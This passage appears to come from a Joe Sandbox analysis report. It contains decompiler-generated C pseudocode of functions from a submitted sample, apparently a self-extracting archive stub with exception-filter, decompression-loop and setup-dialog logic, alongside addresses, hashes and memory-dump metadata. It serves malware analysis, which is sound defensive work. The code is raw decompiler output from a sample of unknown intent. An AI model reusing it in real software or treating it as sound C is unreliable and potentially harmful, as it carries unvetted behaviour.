				_t1 = SetUnhandledExceptionFilter(E00CE0A00); // executed
				return _t1;
			}

0x00ce09f2
0x00ce09f8

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00020A00,00CE0455), ref: 00CE09F2

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b96bbca9de7e6bf97c9551c3088e18340f295cadcaa7052e7940174106dff8ec
Instruction ID: 19125f568894c345c3c7edeab4aca76d61042677783de9f15a0693f9e69a9163
Opcode Fuzzy Hash: b96bbca9de7e6bf97c9551c3088e18340f295cadcaa7052e7940174106dff8ec
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00CD7DAC Relevance: .3, Instructions: 343
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E00CD7DAC(signed int __ecx, void* __edx) {
				void* __ebp;
				intOrPtr _t166;
				intOrPtr _t170;
				signed int _t176;
				signed int _t179;
				intOrPtr _t182;
				signed int _t185;
				signed int _t186;
				void* _t189;
				void* _t196;
				signed int _t201;
				signed int _t202;
				intOrPtr* _t203;
				signed int _t206;
				void* _t217;
				intOrPtr _t220;
				signed int _t223;
				signed int _t226;
				signed int _t230;
				signed int _t232;
				intOrPtr _t235;
				intOrPtr* _t236;
				intOrPtr* _t242;
				intOrPtr* _t244;
				void* _t247;
				signed int _t249;
				signed int _t250;
				signed int _t252;
				intOrPtr _t257;
				signed int _t265;
				intOrPtr* _t269;
				intOrPtr _t272;
				signed int _t275;
				signed int _t276;
				signed int _t278;
				intOrPtr* _t280;
				intOrPtr* _t282;
				void* _t283;
				signed int _t284;
				intOrPtr* _t285;
				intOrPtr _t287;
				void* _t289;
				void* _t290;
				void* _t292;

				_t223 = __ecx; // executed
				E00CD477D(__ecx, __edx); // executed
				E00CD5EC8(__ecx,  *((intOrPtr*)(_t290 + 0x244)));
				_t282 = _t223 + 0x18;
				_t249 = 0;
				 *((intOrPtr*)(_t290 + 0x14)) = _t282;
				if( *(_t223 + 0x1c) +  *(_t223 + 0x1c) == 0) {
					 *((intOrPtr*)(_t290 + 0x14)) = _t282;
				} else {
					_t247 = 0;
					do {
						_t220 =  *_t282;
						_t247 = _t247 + 0x4ae4;
						_t249 = _t249 + 1;
						 *((char*)(_t220 + _t247 - 0x13)) = 0;
						 *((char*)(_t220 + _t247 - 0x11)) = 0;
					} while (_t249 <  *(_t223 + 0x1c) +  *(_t223 + 0x1c));
				}
				_t226 = 5;
				memcpy( *_t282 + 0x18, _t223 + 0x80, _t226 << 2);
				E00CE2C10( *_t282 + 0x30, _t223 + 0x94, 0x4a9c);
				_t292 = _t290 + 0x18;
				 *(_t292 + 0x30) = 0;
				_t265 = 0;
				 *((char*)(_t292 + 0x1b)) = 0;
				 *((char*)(_t292 + 0x13)) = 0;
				while(1) {
					L6:
					_t272 = 0;
					 *((intOrPtr*)(_t292 + 0x1c)) = 0;
					while(1) {
						L7:
						_push(0x00400000 - _t265 & 0xfffffff0);
						_push( *((intOrPtr*)(_t223 + 0x20)) + _t265);
						_t166 = E00CCE54C( *_t223);
						 *((intOrPtr*)(_t292 + 0x34)) = _t166;
						if(_t166 < 0) {
							break;
						}
						_t265 = _t265 + _t166;
						 *(_t292 + 0x2c) = _t265;
						if(_t265 != 0) {
							if(_t166 <= 0 || _t265 >= 0x400) {
								if(_t272 >= _t265) {
									goto L69;
								} else {
									while(1) {
										_t252 = 0;
										 *(_t292 + 0x28) =  *(_t292 + 0x28) & 0;
										 *(_t292 + 0x24) = 0;
										_t176 =  *(_t223 + 0x1c) +  *(_t223 + 0x1c);
										if(_t176 != 0) {
										}
										L13:
										_t235 = 0;
										 *((intOrPtr*)(_t292 + 0x20)) = 0;
										while(1) {
											_t280 =  *_t282 + _t235;
											 *(_t292 + 0x30) = _t252;
											_t29 = _t280 + 4; // 0x4
											_t236 = _t29;
											 *_t280 = _t223;
											if( *((char*)(_t280 + 0x4ad3)) == 0) {
												goto L16;
											}
											L15:
											 *(_t280 + 0x4acc) = _t265;
											L18:
											_t42 = _t280 + 0x18; // 0x18
											_t285 = _t42;
											 *((char*)(_t280 + 0x4ad3)) = 0;
											 *(_t280 + 0x4ae0) = _t252;
											 *((char*)(_t280 + 0x4ad2)) = _t176 & 0xffffff00 |  *((intOrPtr*)(_t292 + 0x34)) == 0x00000000;
											if( *((char*)(_t280 + 0x14)) != 0) {
												L23:
												if( *((char*)(_t292 + 0x1b)) != 0 ||  *_t285 > 0x20000) {
													 *((char*)(_t280 + 0x4ad1)) = 1;
													 *((char*)(_t292 + 0x1b)) = 1;
												} else {
													 *(_t292 + 0x28) =  *(_t292 + 0x28) + 1;
												}
												_t287 =  *((intOrPtr*)(_t292 + 0x1c)) +  *((intOrPtr*)(_t280 + 0x24)) +  *_t285;
												_t252 = _t252 + 1;
												 *((intOrPtr*)(_t292 + 0x1c)) = _t287;
												_t235 =  *((intOrPtr*)(_t292 + 0x20)) + 0x4ae4;
												 *(_t292 + 0x24) = _t252;
												 *((intOrPtr*)(_t292 + 0x20)) = _t235;
												_t217 = _t265 - _t287;
												if(_t217 < 0 ||  *((char*)(_t280 + 0x28)) == 0) {
													if(_t217 >= 0x400) {
														_t176 =  *(_t223 + 0x1c) +  *(_t223 + 0x1c);
														if(_t252 < _t176) {
															_t282 =  *((intOrPtr*)(_t292 + 0x14));
															_t280 =  *_t282 + _t235;
															 *(_t292 + 0x30) = _t252;
															_t29 = _t280 + 4; // 0x4
															_t236 = _t29;
															 *_t280 = _t223;
															if( *((char*)(_t280 + 0x4ad3)) == 0) {
																goto L16;
															}
														}
													}
												}
											} else {
												_push(_t285);
												_push(_t236);
												 *((char*)(_t280 + 0x14)) = 1;
												if(E00CD4FE1(_t223) == 0 ||  *((char*)(_t280 + 0x29)) == 0 &&  *((char*)(_t223 + 0xe65a)) == 0) {
													 *((char*)(_t292 + 0x13)) = 1;
												} else {
													_t252 =  *(_t292 + 0x24);
													 *((char*)(_t223 + 0xe65a)) = 1;
													goto L23;
												}
											}
											break;
											L16:
											E00CCBC33(_t236,  *((intOrPtr*)(_t223 + 0x20)) +  *((intOrPtr*)(_t292 + 0x1c)));
											_t33 = _t280 + 4; // 0x4
											_t236 = _t33;
											 *((intOrPtr*)(_t236 + 4)) = 0;
											_t176 = _t265 -  *((intOrPtr*)(_t292 + 0x1c));
											__eflags = _t176;
											 *_t236 = 0;
											 *(_t280 + 0x4acc) = _t176;
											if(_t176 != 0) {
												 *((char*)(_t280 + 0x4ad0)) = 0;
												 *((char*)(_t280 + 0x14)) = 0;
												 *((char*)(_t280 + 0x2c)) = 0;
												_t252 =  *(_t292 + 0x24);
												goto L18;
											}
											break;
										}
										L33:
										_t232 =  *(_t292 + 0x28);
										_t275 = _t232 /  *(_t223 + 0x1c);
										_t179 = _t232;
										__eflags = _t179 %  *(_t223 + 0x1c);
										if(_t179 %  *(_t223 + 0x1c) != 0) {
											_t275 = _t275 + 1;
											__eflags = _t275;
										}
										_t283 = 0;
										__eflags = _t232;
										if(_t232 != 0) {
											_t269 =  *((intOrPtr*)(_t292 + 0x14));
											_t257 = 0;
											_t202 = _t275 * 0x4ae4;
											__eflags = _t202;
											 *((intOrPtr*)(_t292 + 0x20)) = 0;
											 *(_t292 + 0x38) = _t202;
											_t203 = _t292 + 0x40;
											do {
												_t258 = _t257 +  *_t269;
												_t244 = _t203;
												 *((intOrPtr*)(_t292 + 0x3c)) = _t203 + 8;
												_t206 =  *(_t292 + 0x28) - _t283;
												 *_t244 = _t257 +  *_t269;
												__eflags = _t275 - _t206;
												if(_t275 < _t206) {
													_t206 = _t275;
												}
												__eflags =  *(_t292 + 0x24) - 1;
												 *(_t244 + 4) = _t206;
												if( *(_t292 + 0x24) != 1) {
													E00CD227F( *((intOrPtr*)(_t223 + 0x14)), E00CD8850, _t244);
												} else {
													E00CD8223(_t223, _t258);
												}
												_t283 = _t283 + _t275;
												_t257 =  *((intOrPtr*)(_t292 + 0x20)) +  *(_t292 + 0x38);
												_t203 =  *((intOrPtr*)(_t292 + 0x3c));
												 *((intOrPtr*)(_t292 + 0x20)) = _t257;
												__eflags = _t283 -  *(_t292 + 0x28);
											} while (_t283 <  *(_t292 + 0x28));
											_t265 =  *(_t292 + 0x2c);
										}
										_t284 =  *(_t292 + 0x24);
										__eflags = _t284;
										if(_t284 == 0) {
											_t272 =  *((intOrPtr*)(_t292 + 0x1c));
											goto L68;
										} else {
											E00CD24BF( *((intOrPtr*)(_t223 + 0x14)));
											_t276 = 0;
											__eflags = _t284;
											if(_t284 == 0) {
												L55:
												__eflags =  *((char*)(_t292 + 0x13));
												if( *((char*)(_t292 + 0x13)) == 0) {
													_t182 =  *((intOrPtr*)(_t292 + 0x1c));
													_t278 = _t265 - _t182;
													__eflags = _t278 - 0x400;
													if(_t278 < 0x400) {
														__eflags = _t278;
														if(__eflags >= 0) {
															if(__eflags > 0) {
																__eflags = _t182 +  *((intOrPtr*)(_t223 + 0x20));
																E00CE2C10( *((intOrPtr*)(_t223 + 0x20)), _t182 +  *((intOrPtr*)(_t223 + 0x20)), _t278);
																_t292 = _t292 + 0xc;
															}
															_t282 =  *((intOrPtr*)(_t292 + 0x14));
															_t265 = _t278;
															goto L6;
														}
													} else {
														_t282 =  *((intOrPtr*)(_t292 + 0x14));
														_t272 = _t182;
														__eflags = _t272 - _t265;
														if(_t272 >= _t265) {
															goto L7;
														} else {
															_t252 = 0;
															 *(_t292 + 0x28) =  *(_t292 + 0x28) & 0;
															 *(_t292 + 0x24) = 0;
															_t176 =  *(_t223 + 0x1c) +  *(_t223 + 0x1c);
															if(_t176 != 0) {
															}
															goto L33;
														}
													}
												}
											} else {
												_t185 = 0;
												__eflags = 0;
												 *((intOrPtr*)(_t292 + 0x20)) = 0;
												do {
													_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t292 + 0x14)))) + _t185;
													__eflags =  *((char*)(_t289 + 0x4ad1));
													if( *((char*)(_t289 + 0x4ad1)) != 0) {
														L50:
														_t186 = E00CD887F(_t223, _t289);
														__eflags = _t186;
														if(_t186 != 0) {
															goto L51;
														}
													} else {
														_t201 = E00CD4AEC(_t223, _t289);
														__eflags = _t201;
														if(_t201 != 0) {
															__eflags =  *((char*)(_t289 + 0x4ad1));
															if( *((char*)(_t289 + 0x4ad1)) == 0) {
																L51:
																__eflags =  *((char*)(_t289 + 0x4ad0));
																if( *((char*)(_t289 + 0x4ad0)) == 0) {
																	__eflags =  *((char*)(_t289 + 0x4ad3));
																	if( *((char*)(_t289 + 0x4ad3)) != 0) {
																		_t241 =  *((intOrPtr*)(_t223 + 0x20));
																		_t189 =  *((intOrPtr*)(_t289 + 0x10)) -  *((intOrPtr*)(_t223 + 0x20)) +  *(_t289 + 4);
																		__eflags = _t265 - _t189;
																		if(_t265 > _t189) {
																			_t265 = _t265 - _t189;
																			 *(_t292 + 0x38) = _t265;
																			E00CE2C10(_t241, _t189 + _t241, _t265);
																			_t292 = _t292 + 0xc;
																			 *((intOrPtr*)(_t289 + 0x18)) =  *((intOrPtr*)(_t289 + 0x18)) +  *(_t289 + 0x20) -  *(_t289 + 4);
																			 *(_t289 + 0x24) =  *(_t289 + 0x24) & 0x00000000;
																			 *(_t289 + 0x20) =  *(_t289 + 0x20) & 0x00000000;
																			 *(_t289 + 4) =  *(_t289 + 4) & 0x00000000;
																			 *((intOrPtr*)(_t289 + 0x10)) =  *((intOrPtr*)(_t223 + 0x20));
																			__eflags = _t276;
																			if(_t276 != 0) {
																				_t196 =  *((intOrPtr*)( *((intOrPtr*)(_t292 + 0x14))));
																				E00CE2C10(_t196, _t289, 0x4ae4);
																				_t242 =  *((intOrPtr*)(_t292 + 0x20));
																				_t292 = _t292 + 0xc;
																				 *((intOrPtr*)( *_t242 + 0x4ad4)) =  *((intOrPtr*)(_t196 + 0x4ad4));
																				 *((intOrPtr*)( *_t242 + 0x4adc)) =  *((intOrPtr*)(_t196 + 0x4adc));
																				_t265 =  *(_t292 + 0x2c);
																				 *((char*)(_t289 + 0x4ad3)) = 0;
																			}
																			_t272 = 0;
																			 *((intOrPtr*)(_t292 + 0x1c)) = 0;
																			L68:
																			_t282 =  *((intOrPtr*)(_t292 + 0x14));
																			goto L69;
																		}
																	} else {
																		__eflags =  *((char*)(_t289 + 0x28));
																		if( *((char*)(_t289 + 0x28)) == 0) {
																			goto L54;
																		}
																	}
																}
															} else {
																goto L50;
															}
														}
													}
													goto L70;
													L54:
													_t276 = _t276 + 1;
													_t185 =  *((intOrPtr*)(_t292 + 0x20)) + 0x4ae4;
													 *((intOrPtr*)(_t292 + 0x20)) = _t185;
													__eflags = _t276 -  *(_t292 + 0x24);
												} while (_t276 <  *(_t292 + 0x24));
												goto L55;
											}
										}
										goto L70;
									}
								}
							} else {
								L69:
								__eflags =  *((char*)(_t292 + 0x13));
								if( *((char*)(_t292 + 0x13)) == 0) {
									continue;
								}
							}
						}
						break;
					}
					L70:
					 *(_t223 + 0x70) =  *(_t223 + 0x70) &  *(_t223 + 0xe6c8);
					E00CD6389(_t223);
					_t250 =  *(_t292 + 0x30) * 0x4ae4;
					_t230 = 5;
					_t170 =  *((intOrPtr*)( *((intOrPtr*)(_t292 + 0x14))));
					__eflags = _t170 + _t250 + 0x30;
					return E00CE2C10(memcpy(_t223 + 0x80, _t250 + 0x18 + _t170, _t230 << 2), _t170 + _t250 + 0x30, 0x4a9c);
				}
			}

0x00cd7db6
0x00cd7db8
0x00cd7dc6
0x00cd7dce
0x00cd7dd1
0x00cd7dd3
0x00cd7dd9
0x00cd7dfc
0x00cd7ddb
0x00cd7ddb
0x00cd7ddd
0x00cd7ddd
0x00cd7de0
0x00cd7de6
0x00cd7de7
0x00cd7dec
0x00cd7df6
0x00cd7dfa
0x00cd7e0b
0x00cd7e1b
0x00cd7e24
0x00cd7e2b
0x00cd7e2e
0x00cd7e32
0x00cd7e34
0x00cd7e38
0x00cd7e3c
0x00cd7e3c
0x00cd7e3c
0x00cd7e3e
0x00cd7e42
0x00cd7e42
0x00cd7e4e
0x00cd7e54
0x00cd7e55
0x00cd7e5a
0x00cd7e60
0x00000000
0x00000000
0x00cd7e66
0x00cd7e68
0x00cd7e6c
0x00cd7e74
0x00cd7e84
0x00000000
0x00000000
0x00cd7e8a
0x00cd7e8d
0x00cd7e8f
0x00cd7e93
0x00cd7e97
0x00cd7e99
0x00cd7e99
0x00cd7e9f
0x00cd7e9f
0x00cd7ea1
0x00cd7ea5
0x00cd7ea8
0x00cd7eaa
0x00cd7eb5
0x00cd7eb5
0x00cd7eb8
0x00cd7eba
0x00000000
0x00000000
0x00cd7ebc
0x00cd7ebc
0x00cd7efd
0x00cd7f02
0x00cd7f02
0x00cd7f05
0x00cd7f0f
0x00cd7f19
0x00cd7f1f
0x00cd7f50
0x00cd7f55
0x00cd7f66
0x00cd7f6d
0x00cd7f60
0x00cd7f60
0x00cd7f60
0x00cd7f80
0x00cd7f82
0x00cd7f83
0x00cd7f87
0x00cd7f8d
0x00cd7f93
0x00cd7f97
0x00cd7f99
0x00cd7fa6
0x00cd7fab
0x00cd7faf
0x00cd7fb1
0x00cd7ea8
0x00cd7eaa
0x00cd7eb5
0x00cd7eb5
0x00cd7eb8
0x00cd7eba
0x00000000
0x00000000
0x00cd7eba
0x00cd7faf
0x00cd7fa6
0x00cd7f21
0x00cd7f21
0x00cd7f22
0x00cd7f25
0x00cd7f30
0x00cd7fba
0x00cd7f45
0x00cd7f45
0x00cd7f49
0x00000000
0x00cd7f49
0x00cd7f30
0x00000000
0x00cd7ec4
0x00cd7ecc
0x00cd7ed3
0x00cd7ed3
0x00cd7ed8
0x00cd7edb
0x00cd7edb
0x00cd7edf
0x00cd7ee1
0x00cd7ee7
0x00cd7eed
0x00cd7ef3
0x00cd7ef6
0x00cd7ef9
0x00000000
0x00cd7ef9
0x00000000
0x00cd7ee7
0x00cd7fbf
0x00cd7fbf
0x00cd7fcc
0x00cd7fce
0x00cd7fd3
0x00cd7fd5
0x00cd7fd7
0x00cd7fd7
0x00cd7fd7
0x00cd7fd8
0x00cd7fda
0x00cd7fdc
0x00cd7fde
0x00cd7fe2
0x00cd7fe4
0x00cd7fe4
0x00cd7fea
0x00cd7fee
0x00cd7ff2
0x00cd7ff6
0x00cd7ff6
0x00cd7ff8
0x00cd7ffd
0x00cd8005
0x00cd8007
0x00cd8009
0x00cd800b
0x00cd800d
0x00cd800d
0x00cd800f
0x00cd8014
0x00cd8017
0x00cd802c
0x00cd8019
0x00cd801c
0x00cd801c
0x00cd8035
0x00cd8037
0x00cd803b
0x00cd803f
0x00cd8043
0x00cd8043
0x00cd8049
0x00cd8049
0x00cd804d
0x00cd8051
0x00cd8053
0x00cd81bb
0x00000000
0x00cd8059
0x00cd805c
0x00cd8061
0x00cd8063
0x00cd8065
0x00cd80db
0x00cd80db
0x00cd80e0
0x00cd80e6
0x00cd80ec
0x00cd80ee
0x00cd80f4
0x00cd819a
0x00cd819c
0x00cd819e
0x00cd81a3
0x00cd81a8
0x00cd81ad
0x00cd81ad
0x00cd81b0
0x00cd81b4
0x00000000
0x00cd81b4
0x00cd80fa
0x00cd80fa
0x00cd80fe
0x00cd8100
0x00cd8102
0x00000000
0x00cd8108
0x00cd7e8d
0x00cd7e8f
0x00cd7e93
0x00cd7e97
0x00cd7e99
0x00cd7e99
0x00000000
0x00cd7e99
0x00cd8102
0x00cd80f4
0x00cd8067
0x00cd8067
0x00cd8067
0x00cd8069
0x00cd806d
0x00cd8073
0x00cd8075
0x00cd807c
0x00cd8097
0x00cd809a
0x00cd809f
0x00cd80a1
0x00000000
0x00000000
0x00cd807e
0x00cd8081
0x00cd8086
0x00cd8088
0x00cd808e
0x00cd8095
0x00cd80a7
0x00cd80a7
0x00cd80ae
0x00cd80b4
0x00cd80bb
0x00cd8110
0x00cd8115
0x00cd8118
0x00cd811a
0x00cd8120
0x00cd8127
0x00cd812b
0x00cd8133
0x00cd8139
0x00cd813c
0x00cd8140
0x00cd8147
0x00cd814b
0x00cd814e
0x00cd8150
0x00cd815c
0x00cd816b
0x00cd8170
0x00cd8174
0x00cd8179
0x00cd8181
0x00cd8187
0x00cd818b
0x00cd818b
0x00cd8192
0x00cd8194
0x00cd81bf
0x00cd81bf
0x00000000
0x00cd81bf
0x00cd80bd
0x00cd80bd
0x00cd80c1
0x00000000
0x00000000
0x00cd80c1
0x00cd80bb
0x00000000
0x00000000
0x00000000
0x00cd8095
0x00cd8088
0x00000000
0x00cd80c7
0x00cd80cb
0x00cd80cc
0x00cd80d1
0x00cd80d5
0x00cd80d5
0x00000000
0x00cd806d
0x00cd8065
0x00000000
0x00cd8053
0x00cd7e8a
0x00cd81c3
0x00cd81c3
0x00cd81c3
0x00cd81c8
0x00000000
0x00000000
0x00cd81c8
0x00cd7e74
0x00000000
0x00cd7e6c
0x00cd81ce
0x00cd81d6
0x00cd81d9
0x00cd81de
0x00cd81f2
0x00cd81f8
0x00cd8202
0x00cd8220
0x00cd8220

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 33dcb648e87b57781b4f96b3e48108a19e9e7674c34e33c3a980b5ced9d8669e
Instruction ID: 9ff8613f475832d306aff1e74b56a2651a8d5ea3b5ba37a8c135819c2b64298b
Opcode Fuzzy Hash: 33dcb648e87b57781b4f96b3e48108a19e9e7674c34e33c3a980b5ced9d8669e
Instruction Fuzzy Hash: 2ED1C7716083408FDB24DF28C84475BBBE1BF89308F04466EFA999B742D774EA49CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00CDC870 Relevance: 100.5, APIs: 48, Strings: 9, Instructions: 729
windowfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00CDC870(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* _t102;
				int _t103;
				long _t105;
				long _t106;
				struct HWND__* _t107;
				struct HWND__* _t111;
				void* _t114;
				void* _t115;
				void* _t132;
				void* _t136;
				signed int _t149;
				struct HWND__* _t152;
				void* _t170;
				int _t183;
				signed int _t198;
				void* _t199;
				long _t207;
				void* _t217;
				void* _t230;
				signed int _t239;
				void* _t240;
				void* _t254;
				long _t256;
				long _t257;
				long _t258;
				int _t272;
				int _t274;
				void* _t279;
				void* _t283;
				int _t287;
				void* _t290;
				WCHAR* _t292;
				intOrPtr _t293;
				intOrPtr _t294;
				struct HWND__* _t304;
				intOrPtr _t307;
				void* _t309;
				struct HWND__* _t310;
				void* _t311;
				struct HWND__* _t313;
				long _t314;
				struct HWND__* _t315;
				intOrPtr _t316;
				void* _t318;
				void* _t320;
				void* _t321;
				void* _t323;

				_t302 = __edx;
				_t290 = __ecx;
				E00CDFD4C(0xcf3b5a, _t321);
				E00CDFE20(0xe8a0);
				_t307 =  *((intOrPtr*)(_t321 + 0xc));
				_t304 =  *(_t321 + 8);
				_t102 = E00CC12F6(__edx, _t304, _t307,  *(_t321 + 0x10),  *((intOrPtr*)(_t321 + 0x14)), L"STARTDLG", 0, 0);
				_t287 = 1;
				if(_t102 != 0) {
					L128:
					_t103 = _t287;
					L129:
					 *[fs:0x0] =  *((intOrPtr*)(_t321 - 0xc));
					return _t103;
				}
				_t309 = _t307 - 0x110;
				if(_t309 == 0) {
					_push(_t304);
					E00CDE66E(_t290, __edx, __eflags, __fp0);
					_t105 =  *0xd20cbc;
					 *0xd0a468 = _t304;
					 *0xd0a470 = _t304;
					__eflags = _t105;
					if(_t105 != 0) {
						SendMessageW(_t304, 0x80, 1, _t105); // executed
					}
					_t106 =  *0xd21cc0;
					__eflags = _t106;
					if(_t106 != 0) {
						SendDlgItemMessageW(_t304, 0x6c, 0x172, 0, _t106); // executed
					}
					_t107 = GetDlgItem(_t304, 0x68);
					 *(_t321 - 0x14) = _t107;
					SendMessageW(_t107, 0x435, 0, 0x400000);
					E00CDB62D(_t321 - 0x1474, 0x800);
					_t111 = GetDlgItem(_t304, 0x66);
					__eflags =  *0xd1389a;
					_t310 = _t111;
					 *(_t321 - 0x18) = _t310;
					_t292 = 0xd1389a;
					if( *0xd1389a == 0) {
						_t292 = _t321 - 0x1474;
					}
					SetWindowTextW(_t310, _t292);
					E00CDBB90(_t310); // executed
					_push(0xd21cd4);
					_push(0xd21cc4);
					_push(0xd20cc0);
					_push(_t304);
					 *0xd0a47b = 0; // executed
					_t114 = E00CDC133(_t292, _t302, __eflags); // executed
					__eflags = _t114;
					if(_t114 == 0) {
						 *0xd0a46e = _t287;
					}
					__eflags =  *0xd21cd4;
					if( *0xd21cd4 > 0) {
						_push(7);
						_push( *0xd21cc4);
						_push(_t304);
						E00CDD701(_t302, _t304);
					}
					__eflags =  *0xd20cbb;
					if( *0xd20cbb == 0) {
						SetDlgItemTextW(_t304, 0x6b, E00CCF917(0xbf));
						SetDlgItemTextW(_t304, _t287, E00CCF917(0xbe));
					}
					__eflags =  *0xd21cd4;
					if( *0xd21cd4 <= 0) {
						L104:
						__eflags =  *0xd0a47b;
						if( *0xd0a47b != 0) {
							L116:
							__eflags =  *0xd13894 - 2;
							if( *0xd13894 == 2) {
								EnableWindow(_t310, 0);
							}
							__eflags =  *0xd12890;
							if( *0xd12890 != 0) {
								E00CC12B3(_t304, 0x67, 0);
								E00CC12B3(_t304, 0x66, 0);
							}
							_t115 =  *0xd13894;
							__eflags = _t115;
							if(_t115 != 0) {
								__eflags =  *0xd0a46c;
								if( *0xd0a46c == 0) {
									_push(0);
									_push(_t287);
									_push(0x111);
									_push(_t304);
									__eflags = _t115 - _t287;
									if(_t115 != _t287) {
										 *0xd250a0();
									} else {
										SendMessageW(); // executed
									}
								}
							}
							__eflags =  *0xd0a46e;
							if( *0xd0a46e != 0) {
								_push(E00CCF917(0x90));
								_push(_t287);
								L127:
								SetDlgItemTextW(_t304, ??, ??);
							}
							goto L128;
						}
						__eflags =  *0xd21cc8;
						if( *0xd21cc8 != 0) {
							goto L116;
						}
						__eflags =  *0xd13894;
						if( *0xd13894 != 0) {
							goto L116;
						}
						__eflags = 0;
						_t311 = 0xaa;
						 *((short*)(_t321 - 0xe8ac)) = 0;
						goto L108;
						do {
							while(1) {
								L108:
								__eflags = _t311 - 0xaa;
								if(_t311 != 0xaa) {
									goto L110;
								}
								__eflags =  *0xd20cbb;
								if( *0xd20cbb == 0) {
									break;
								}
								L110:
								__eflags = _t311 - 0xab;
								if(__eflags != 0) {
									L113:
									E00CD18E0(__eflags, _t321 - 0xe8ac, " ", 0x2000);
									E00CD18E0(__eflags, _t321 - 0xe8ac, E00CCF917(_t311), 0x2000);
									break;
								}
								__eflags =  *0xd20cbb;
								if(__eflags == 0) {
									goto L113;
								}
								_t311 = _t311 + 1;
							}
							_t311 = _t311 + 1;
							__eflags = _t311 - 0xb0;
						} while (__eflags <= 0);
						_t293 =  *0xd0a47c; // 0x0
						E00CDAEC5(_t293, __eflags,  *0xd0306c,  *(_t321 - 0x14), _t321 - 0xe8ac, 0, 0);
						_t310 =  *(_t321 - 0x18);
						goto L116;
					} else {
						_push(0);
						_push( *0xd21cc4);
						_push(_t304); // executed
						E00CDD701(_t302, _t304); // executed
						_t132 =  *0xd21cc8;
						__eflags = _t132;
						if(_t132 != 0) {
							__eflags =  *0xd13894;
							if(__eflags == 0) {
								_t294 =  *0xd0a47c; // 0x0
								E00CDAEC5(_t294, __eflags,  *0xd0306c,  *(_t321 - 0x14), _t132, 0, 0);
								L00CE5069( *0xd21cc8);
							}
						}
						__eflags =  *0xd13894 - _t287;
						if( *0xd13894 == _t287) {
							L103:
							_push(_t287);
							_push( *0xd21cc4);
							_push(_t304);
							E00CDD701(_t302, _t304);
							goto L104;
						} else {
							 *0xd250c0(_t304);
							__eflags =  *0xd13894 - _t287;
							if( *0xd13894 == _t287) {
								goto L103;
							}
							__eflags =  *0xd13899;
							if( *0xd13899 != 0) {
								goto L103;
							}
							_push(3);
							_push( *0xd21cc4);
							_push(_t304);
							E00CDD701(_t302, _t304);
							__eflags =  *0xd21ccc;
							if( *0xd21ccc == 0) {
								goto L103;
							}
							_t136 = DialogBoxParamW( *0xd0306c, L"LICENSEDLG", 0, E00CDC650, 0);
							__eflags = _t136;
							if(_t136 == 0) {
								L23:
								 *0xd0a46c = _t287;
								L24:
								_push(_t287);
								L25:
								 *0xd250b0(_t304); // executed
								goto L128;
							}
							goto L103;
						}
					}
				}
				if(_t309 != 1) {
					L6:
					_t103 = 0;
					goto L129;
				}
				_t149 = ( *(_t321 + 0x10) & 0x0000ffff) - 1;
				if(_t149 == 0) {
					__eflags =  *0xd0a46d;
					if( *0xd0a46d != 0) {
						L21:
						GetDlgItemTextW(_t304, 0x66, _t321 - 0x2474, 0x800);
						__eflags =  *0xd0a46d;
						if( *0xd0a46d == 0) {
							__eflags =  *0xd0a46e;
							if( *0xd0a46e == 0) {
								_t152 = GetDlgItem(_t304, 0x68);
								__eflags =  *0xd0a474;
								_t313 = _t152;
								if( *0xd0a474 == 0) {
									SendMessageW(_t313, 0xb1, 0, 0xffffffff);
									SendMessageW(_t313, 0xc2, 0, 0xcf45f4);
								}
								SetFocus(_t313);
								__eflags =  *0xd12890;
								if( *0xd12890 == 0) {
									_t314 = 0x800;
									E00CD1908(_t321 - 0x1474, _t321 - 0x2474, 0x800);
									E00CDE415(_t321 - 0x1474, 0x800);
									E00CC4A00(_t321 - 0xb9ac, 0x880, E00CCF917(0xb9), _t321 - 0x1474);
									_t323 = _t323 + 0x10;
									_push(_t321 - 0xb9ac);
									_push(0);
									E00CDE496();
								} else {
									_push(E00CCF917(0xba));
									_push(0);
									E00CDE496();
									_t314 = 0x800;
								}
								__eflags =  *0xd13899;
								if( *0xd13899 == 0) {
									E00CDEB1B(_t321 - 0x2474);
								}
								 *(_t321 - 0xd) = 0;
								E00CCB321(_t287, _t290, _t304, _t321, _t321 - 0x2474, 0, 0);
								__eflags = 0;
								if(0 != 0) {
									L39:
									_t296 = E00CDBBE9(_t321 - 0x2474);
									 *((char*)(_t321 - 0xe)) = _t296;
									__eflags = _t296;
									if(_t296 == 0) {
										_t257 = GetLastError();
